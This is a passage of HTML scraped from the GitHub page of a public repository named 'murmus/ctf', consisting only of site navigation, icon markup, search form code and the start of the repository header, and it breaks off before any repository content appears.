2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="60412168" data-scoped-search-url="/murmus/ctf/search" data-owner-scoped-search-url="/users/murmus/search" data-unscoped-search-url="/search" data-turbo="false" action="/murmus/ctf/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="hrntV1mAfAlx5zZRdSJZnHVrOiFSpUYE7gbLoQLXH8epnFQPtXUyMJxOi0Y5zfG2OJDPhmgV3iDHJejTqPvUTQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> murmus </span> <span>/</span> ctf
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>27</span> <button disabled="disabled" aria-label="You must be signed 